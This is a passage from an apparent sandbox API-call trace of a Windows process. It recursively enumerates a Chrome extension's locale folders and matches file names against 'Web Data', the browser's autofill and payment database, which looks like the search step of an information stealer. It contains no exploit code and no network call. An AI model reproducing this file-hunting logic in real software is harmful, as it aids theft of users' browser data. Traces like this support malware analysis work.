Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sl") returned 133 [0056.305] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sl") returned 133 [0056.305] lstrlenA (lpString="\\*.*") returned 4 [0056.305] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2daec0 [0056.305] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sl" [0056.305] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sl\\*.*" [0056.305] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.305] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.305] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.305] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.305] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.305] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.305] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.305] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.305] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.305] LocalFree (hMem=0x2daec0) returned 0x0 [0056.305] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.305] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.305] lstrcmpiA (lpString1=".", lpString2="sr") returned -1 [0056.305] lstrcmpiA (lpString1="..", lpString2="sr") returned -1 [0056.305] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.305] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.305] lstrlenA (lpString="\\") returned 1 [0056.305] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.305] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.305] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.305] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.305] lstrlenA (lpString="sr") returned 2 [0056.305] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dadb0 [0056.305] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.305] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="sr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sr" [0056.305] LocalFree (hMem=0x2daca0) returned 0x0 [0056.305] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sr") returned 133 [0056.305] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sr") returned 133 [0056.305] lstrlenA (lpString="\\*.*") returned 4 [0056.305] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2daec0 [0056.305] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sr" [0056.305] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sr\\*.*" [0056.305] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.306] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.306] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.306] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.306] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.306] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.306] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.306] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.306] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.306] LocalFree (hMem=0x2daec0) returned 0x0 [0056.306] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.306] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.306] lstrcmpiA (lpString1=".", lpString2="sv") returned -1 [0056.306] lstrcmpiA (lpString1="..", lpString2="sv") returned -1 [0056.306] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.306] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.306] lstrlenA (lpString="\\") returned 1 [0056.306] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.306] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.306] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.306] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.306] lstrlenA (lpString="sv") returned 2 [0056.306] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dadb0 [0056.306] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.306] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="sv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sv" [0056.306] LocalFree (hMem=0x2daca0) returned 0x0 [0056.306] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sv") returned 133 [0056.306] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sv") returned 133 [0056.306] lstrlenA (lpString="\\*.*") returned 4 [0056.306] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2daec0 [0056.306] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sv" [0056.306] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sv", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sv\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sv\\*.*" [0056.306] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sv\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.306] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.306] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.306] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.306] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.306] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.306] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.306] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.306] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.307] LocalFree (hMem=0x2daec0) returned 0x0 [0056.307] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.307] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.307] lstrcmpiA (lpString1=".", lpString2="th") returned -1 [0056.307] lstrcmpiA (lpString1="..", lpString2="th") returned -1 [0056.307] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.307] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.307] lstrlenA (lpString="\\") returned 1 [0056.307] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.307] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.307] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.307] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.307] lstrlenA (lpString="th") returned 2 [0056.307] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dadb0 [0056.307] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.307] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="th" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\th") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\th" [0056.307] LocalFree (hMem=0x2daca0) returned 0x0 [0056.307] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\th") returned 133 [0056.307] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\th") returned 133 [0056.307] lstrlenA (lpString="\\*.*") returned 4 [0056.307] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2daec0 [0056.307] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\th" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\th") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\th" [0056.307] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\th", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\th\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\th\\*.*" [0056.307] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\th\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.307] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.307] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.307] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.307] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.307] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.307] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.307] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.307] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.307] LocalFree (hMem=0x2daec0) returned 0x0 [0056.307] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.307] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.307] lstrcmpiA (lpString1=".", lpString2="tr") returned -1 [0056.307] lstrcmpiA (lpString1="..", lpString2="tr") returned -1 [0056.307] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.307] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.307] lstrlenA (lpString="\\") returned 1 [0056.307] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.307] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.307] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.307] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.307] lstrlenA (lpString="tr") returned 2 [0056.307] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dadb0 [0056.307] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.307] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="tr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\tr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\tr" [0056.308] LocalFree (hMem=0x2daca0) returned 0x0 [0056.308] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\tr") returned 133 [0056.308] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\tr") returned 133 [0056.308] lstrlenA (lpString="\\*.*") returned 4 [0056.308] LocalAlloc 